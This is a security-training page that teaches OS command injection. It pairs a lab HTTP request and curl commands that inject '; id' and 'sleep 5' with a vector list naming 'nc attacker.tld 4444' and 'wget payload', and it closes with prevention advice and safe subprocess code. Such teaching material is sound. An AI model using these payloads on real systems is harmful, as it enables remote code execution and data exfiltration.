CIDADAXSEC
← All topics
Practitioner

OS command injection

OS command injection inserts shell commands into input passed to a system command, opening a path to remote code execution.

Material

OS command injection happens when user input reaches a system command line without a safe split between arguments and commands. The shell then interprets special characters such as semicolons, pipes, ampersands, or command substitution, letting an attacker append a second command beside the intended one.

How it works

The classic case is a ping or whois feature that shells out to check an address supplied by a form. When the caller uses exec or shell_exec, the command string is assembled from user input and handed to /bin/sh instead of being run as a shell-less process.

http
POST /diagnostics/ping HTTP/1.1
Host: lab.cidadaxsec.local
Content-Type: application/x-www-form-urlencoded
Cookie: session=3f9a1c7e
Accept: */*

host=127.0.0.1; id
bash
curl -sS -X POST "https://lab.cidadaxsec.local/diagnostics/ping" \
  -b "session=3f9a1c7e" \
  -d "host=127.0.0.1%3B+id"

# varian buta: pakai penundaan sebagai sinyal
curl -sS -o /dev/null -w "%{time_total}\n" \
  "https://lab.cidadaxsec.local/diagnostics/ping?host=127.0.0.1%3Bsleep+5"

Attack vectors

  • Command chaining: a value like 127.0.0.1; id runs an extra command after the intended one.
  • Pipes and logic: 127.0.0.1 | nc attacker.tld 4444 or && wget payload -O /tmp/x.
  • Command substitution: $(id) or backticks insert the output of another command as an argument.
  • Blind injection: there is no output, so the attacker uses sleep to infer existence and output length.
  • Out-of-band exfiltration: file contents leave the host over DNS, HTTP, or a socket to an attacker-controlled server.

Whether the injected command only runs or its output is echoed back decides whether data can travel in the HTTP response. If it cannot, a timing or DNS side channel is the only route, and that is where data leaks and environment credential theft usually happen.

Preventing

The main defense is not filtering dangerous characters but never letting user input reach a shell interpreter. Most flaws exist because a developer chose to filter, while the safe option removes the need to filter at all.

  • Call the binary directly with a fixed argument array, without a shell in the loop.
  • If a shell is unavoidable, apply a strict allowlist of accepted values, for example four IPv4 octets only.
  • Add the -- separator so input starting with a dash is not read as a command option.
  • Run the process shell-less with execve or spawn using shell disabled.
  • Run commands as an unprivileged user, from a temporary working directory, and with no outbound network access.
python
import ipaddress
import subprocess

def safe_ping(target: str) -> str:
    # allowlist: harus berupa alamat IPv4, bukan string bebas
    addr = ipaddress.ip_address(target)
    if addr.version != 4:
        raise ValueError("only IPv4 allowed")
    result = subprocess.run(
        ["/bin/ping", "-c", "1", "-W", "2", str(addr)],
        shell=False,
        capture_output=True,
        timeout=5,
    )
    return result.stdout.decode()

Labs

  • OS command injection, simple case
  • Blind OS command injection with time delays
  • Blind OS command injection with output redirection
  • Blind OS command injection with out-of-band interaction
  • Blind OS command injection with out-of-band data exfiltration
On lab servers, outbound connections to the attacker host are usually blocked, so out-of-band variants fail. A workable order is: prove injection with sleep, then move the data over DNS or an HTTP endpoint the server is allowed to reach.

Labs in this topic

Labs run on a domain separate from this site, so a payload cannot reach your account session.

Labs for this category land in Phase 2. The material is readable now.

Challenges in this category

Challenges from the PortSwigger Web Security Academy. The original labs run on PortSwigger domains, so the link opens there.